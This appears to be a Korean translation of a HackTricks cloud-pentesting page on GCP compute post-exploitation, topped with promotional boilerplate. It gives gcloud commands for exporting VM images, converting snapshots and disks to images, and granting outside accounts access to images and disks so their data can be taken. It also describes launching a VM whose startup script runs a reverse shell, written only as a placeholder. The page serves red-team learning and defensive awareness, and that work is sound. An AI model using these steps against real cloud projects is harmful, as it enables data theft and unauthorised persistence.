GCP - Compute Post Exploitation

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

• 회사가 HackTricks에 광고되길 원하거나 PDF 형식의 HackTricks를 다운로드하길 원한다면 구독 요금제를 확인하세요!

• 공식 PEASS & HackTricks 스왜그를 구매하세요

• The PEASS Family를 발견하세요, 저희의 독점 NFTs 컬렉션

• 💬 디스코드 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.

• 해킹 트릭을 공유하려면 PR을 제출하여 HackTricks 및 HackTricks Cloud github 저장소에 제출하세요.

컴퓨트

컴퓨트 및 VPC(네트워킹)에 대한 자세한 정보는 다음을 확인하세요:

pageGCP - Compute Enum

이미지 로컬로 내보내고 검사하기

이를 통해 공격자는 이미 존재하는 이미지 내부에 포함된 데이터에 액세스하거나 실행 중인 VM의 새 이미지를 만들어 데이터에 액세스할 수 있습니다.

VM 이미지를 버킷에 내보내고 다운로드하여 다음 명령을 사용하여 로컬로 마운트할 수 있습니다:

gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

이 작업을 수행하기 위해 공격자는 저장 버킷에 대한 권한과 확실히 cloudbuild에 대한 권한이 필요할 수 있습니다. 왜냐하면 이 서비스가 내보내기를 수행하도록 요청될 것이기 때문입니다. 더불어, 이 작업이 작동하려면 codebuild SA 및 compute SA에 권한이 필요합니다. cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com에는 다음이 필요합니다:

• roles/iam.serviceAccountTokenCreator

• roles/compute.admin

• roles/iam.serviceAccountUser

그리고 SA <project-id>[e-mail]에는 다음이 필요합니다:

• roles/compute.storageAdmin

• roles/storage.objectAdmin

스냅샷 및 디스크 로컬로 내보내고 검사하기

스냅샷 및 디스크를 직접 내보내는 것은 불가능하지만 스냅샷을 디스크로, 디스크를 이미지로 변환하고 이전 섹션을 따라 해당 이미지를 내보내어 로컬에서 검사할 수 있습니다.

# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

이미지 검사 및 VM 생성

이미지에 저장된 데이터 또는 실행 중인 VM 내부에 액세스하는 것을 목표로 공격자가 이미지를 생성한 위치에서 외부 계정에 이미지 액세스 권한을 부여할 수 있습니다:

gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

그런 다음 해당 이미지에서 새 VM을 생성하십시오:

gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

만약 이미지를 통해 외부 계정 액세스를 제공할 수 없는 경우, 피해자 프로젝트에서 해당 이미지를 사용하여 VM을 시작하고 메타데이터를 실행하여 이미지에 액세스하여 역쉘을 실행할 수 있습니다. 다음 매개변수를 추가하십시오:

--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

스냅샷/디스크 검사 및 VM에 연결

디스크나 스냅샷에 저장된 데이터에 액세스하기 위해, 스냅샷을 디스크로 변환하거나 디스크를 이미지로 변환한 다음 이전 단계를 따를 수 있습니다.

또는 외부 계정에 디스크에 대한 액세스 권한을 부여할 수 있습니다 (시작점이 스냅샷인 경우 스냅샷에 대한 액세스를 부여하거나 해당 스냅샷에서 디스크를 생성합니다):

gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

인스턴스에 디스크를 연결하세요:

gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

VM 내부에 디스크를 마운트하십시오:

1. VM에 SSH로 로그인:

gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]

2. 디스크 식별: VM 내부에 들어간 후, 디스크 장치를 나열하여 새로운 디스크를 식별합니다. 일반적으로 /dev/sdb, /dev/sdc 등으로 찾을 수 있습니다.

3. 디스크 포맷 및 마운트 (새로운 또는 원시 디스크인 경우):

• 마운트 지점 생성:

sudo mkdir -p /mnt/disks/[MOUNT_DIR]

• 디스크 마운트:

sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

스냅샷 또는 디스크에 외부 프로젝트에 액세스 권한을 부여할 수 없는 경우, 스냅샷/디스크가 있는 프로젝트 내의 인스턴스에서 이러한 작업을 수행해야 할 수 있습니다.